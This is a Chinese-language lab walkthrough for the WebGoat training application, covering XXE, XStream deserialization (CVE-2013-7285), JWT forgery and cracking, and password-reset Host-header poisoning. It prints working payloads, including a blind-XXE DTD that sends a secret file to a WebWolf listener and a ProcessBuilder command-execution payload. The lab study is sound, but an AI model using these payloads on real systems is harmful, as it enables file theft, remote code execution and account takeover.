webgoat通关过程系列(三)
字数 1301 2025-08-18 11:36:53
WebGoat通关教学:安全配置与身份认证漏洞
(A5) 安全配置错误
1. XXE漏洞利用
1-4关:基础XXE注入
- 目标:通过XXE获取服务器的root目录
- 方法:
<?xml version="1.0"?> <!DOCTYPE author [ <!ENTITY ls SYSTEM "file:///"> ]> <comment> <text>&ls;</text> </comment> - 关键点:使用
file://协议读取服务器文件系统
1-7关:JSON格式的XXE
- 目标:在JSON格式请求中实现XXE注入
- 方法:
- 修改请求的Content-Type为
application/xml - 使用与1-4关相同的XML payload
- 修改请求的Content-Type为
- 关键点:当后端未严格限制请求格式时,可通过修改Content-Type绕过
1-11关:XXE盲注
- 目标:通过XXE盲注获取服务器文件内容
- 步骤:
- 在WebWolf上传DTD文件(attack1.dtd):
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-2023.8/XXE/admintest/secret.txt"> <!ENTITY % print "<!ENTITY % send SYSTEM 'http://127.0.0.1:9090/WebWolf/landing?text=%file;'>"> - 注入触发DTD的XML:
<?xml version="1.0"?> <!DOCTYPE author [ <!ENTITY % ls SYSTEM "http://127.0.0.1:9090/WebWolf/files/admintest/attack1.dtd"> %ls; %print; %send; ]> <comment> <text>aaaaa</text> </comment> - 在WebWolf查看URL编码的结果并解码
- 在WebWolf上传DTD文件(attack1.dtd):
- 关键点:利用外部实体将文件内容通过HTTP请求外带
(A6) 漏洞组件
1. 漏洞组件利用
1-5关:组件版本漏洞
- 目标:展示不同版本组件的安全问题
- 方法:直接点击完成
1-12关:CVE-2013-7285远程命令执行
- payload:
<contact class='dynamic-proxy'> <interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface> <handler class='java.beans.EventHandler'> <target class='java.lang.ProcessBuilder'> <command> <string>pwd</string> </command> </target> <action>start</action> </handler> </contact> - 关键点:利用Java反序列化漏洞执行系统命令
(A7) 身份认证失败
1. 认证绕过
1-2关:安全问题绕过
- 方法:修改安全问题参数名
- 将
secQuestion0和secQuestion1改为secQuestion3和secQuestion4
- 将
2. 不安全登录
2-2关:解密登录凭证
- 步骤:
- 点击登录按钮捕获返回的JS代码
- 解码其中的16进制字符串
- 提取用户名和密码(数组的0和1位置)
3. JWT令牌漏洞
3-4关:JWT解码
- 方法:直接解码JWT获取用户名
3-6关:JWT权限提升
- 步骤:
- 解码JWT发现admin字段为false
- 修改alg为none绕过签名验证
- 保持JWT格式正确(第三部分为空但保留分隔符点)
3-11关:JWT密钥爆破
- 方法:
hashcat -a 0 -m 16500 jwtstring wordlist - 结果:密钥为"shipping"
3-13关:JWT身份伪造
- 方法:
- 修改当前token的用户为tom
- 或修改日志中tom的token有效期
- 使用alg=none绕过签名或爆破密钥
4. 密码重置漏洞
4-2关:基础密码重置
- 方法:在忘记密码页面填入账户,WebWolf接收重置链接
4-4关:安全问题爆破
- 方法:爆破简单的密保问题(如颜色)
4-6关:他人密码重置
- 步骤:
- 拦截密码重置请求
- 修改Host头为
127.0.0.1:9090使邮件发往WebWolf - 在WebWolf中获取token
5. 安全密码
5-4关:设置强密码
- 方法:设置足够复杂的密码
(A8) 软件与数据完整性
1. 不安全反序列化
1-5关:反序列化漏洞
- 关键点:反序列化
VulnerableTaskHolder类,只能执行sleep和ping命令 - 方法:生成特定的序列化字符串
(A9) 安全日志失败
1. 日志安全问题
1-2关:简单认证绕过
- 方法:直接输入admin
1-4关:日志中的敏感信息
- 方法:检查服务启动日志寻找管理员初始密码